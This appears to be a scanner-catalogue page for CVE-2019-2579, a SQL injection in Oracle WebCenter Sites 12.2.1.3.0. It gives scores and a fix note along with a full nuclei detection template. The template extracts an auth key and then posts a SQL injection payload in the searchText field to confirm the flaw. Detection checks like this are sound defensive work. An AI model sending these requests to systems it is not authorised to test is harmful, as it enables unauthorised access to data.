Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - SQL Injection

mediumseverity

4.3CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The Oracle WebCenter Sites component of Oracle Fusion Middleware 12.2.1.3.0 is susceptible to SQL injection via an easily exploitable vulnerability that allows low privileged attackers with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle WebCenter Sites accessible data.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data manipulation, or denial of service.

Fix

Apply the necessary patches or updates provided by Oracle to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences ; POST /cs/ContentServer
Positive when: contains "value='&#39; and &#39;1&#39;=&#39;0 --" and "Use this utility to view and manage URLs" AND status 200

Run it with nuclei: nuclei -id CVE-2019-2579 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-2579

info:
  name: Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - SQL Injection
  author: leovalcante
  severity: medium
  description: The Oracle WebCenter Sites component of Oracle Fusion Middleware 12.2.1.3.0 is susceptible to SQL injection via an easily exploitable vulnerability that allows low privileged attackers with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle WebCenter Sites accessible data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data manipulation, or denial of service.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate the SQL Injection vulnerability.
  reference:
    - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
    - https://github.com/Leovalcante/wcs_scanner
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2579
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2019-2579
    epss-score: 0.05969
    epss-percentile: 0.93355
    cpe: cpe:2.3:a:oracle:webcenter_sites:12.2.1.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: webcenter_sites
  tags: cve,cve2019,oracle,wcs,sqli,vuln

http:
  - raw:
      - |
        GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /cs/ContentServer HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _authkey_={{authkey}}&pagename=OpenMarket%2FXcelerate%2FAdmin%2FWebReferences&op=search&urlsToDelete=&resultsPerPage=25&searchChoice=webroot&searchText=%27+and+%271%27%3D%270+--+

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "value='&#39; and &#39;1&#39;=&#39;0 --"
          - "Use this utility to view and manage URLs"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: authkey
        group: 1
        regex:
          - "NAME='_authkey_' VALUE='([0-9A-Z]+)'>"
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from